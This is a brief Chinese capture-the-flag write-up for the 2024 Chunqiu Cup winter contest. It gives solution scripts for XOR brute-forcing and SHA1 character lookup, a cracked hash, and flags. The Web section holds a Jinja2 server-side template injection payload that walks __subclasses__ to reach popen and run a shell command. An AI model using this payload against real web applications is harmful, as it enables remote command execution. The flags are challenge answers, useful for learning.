2024年春秋杯网络安全联赛冬季赛

Reverse

Misc

简单算术

1
2
3
4
5
6
b = 'ys~xdg/m@]mjkz@vl@z~lf>b'
for j in range(0,127):
if (chr(ord(b[0])^j)=='f'):
for i in range(len(b)):
print(chr(ord(b[i])^j),end='')
# flag{x0r_Brute_is_easy!}

image-20250117144838071

image-20250117150122015

flag{opium_00pium}

Crypto

通往哈希的旅程

ca12fd8250972ec363a16593356abb1f3cf3a16d

18876011645

flag{18876011645}

你是小哈斯?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import hashlib

# 读取 hash.txt 文件中的哈希值
with open("hash.txt", "r") as file:
hash_list = file.read().splitlines()

# 要计算的字符集
chars = "1234567890abcdefghijklmnopqrstuvwxyz,.<>ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+-={}[]|\:\";'~`·"

# 创建一个字典,存储字符到哈希值的映射
char_to_hash = {char: hashlib.sha1(char.encode()).hexdigest() for char in chars}

# 创建一个字典,存储哈希值到字符的映射
hash_to_char = {v: k for k, v in char_to_hash.items()}

# 解密过程
decrypted_text = []
for hash_value in hash_list:
if hash_value in hash_to_char:
decrypted_text.append(hash_to_char[hash_value])
else:
decrypted_text.append("?") # 如果哈希值未匹配到字符,用 ? 代替

# 将解密后的字符列表转换为字符串
decrypted_text = "".join(decrypted_text)
print("解密后的文本:", decrypted_text)
#1234567890-=qwertyuiopflag{no_is_flag}asdfghjklzxcvbnm,flag{game_cqb_isis_cxyz}.asdfghjklzxcvbnm,.qwertyuiopflag{no_is_flag}1234567890-=

Web

flank

image-20250117154549013

{{"".__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']("cat flag").read()}}


  目录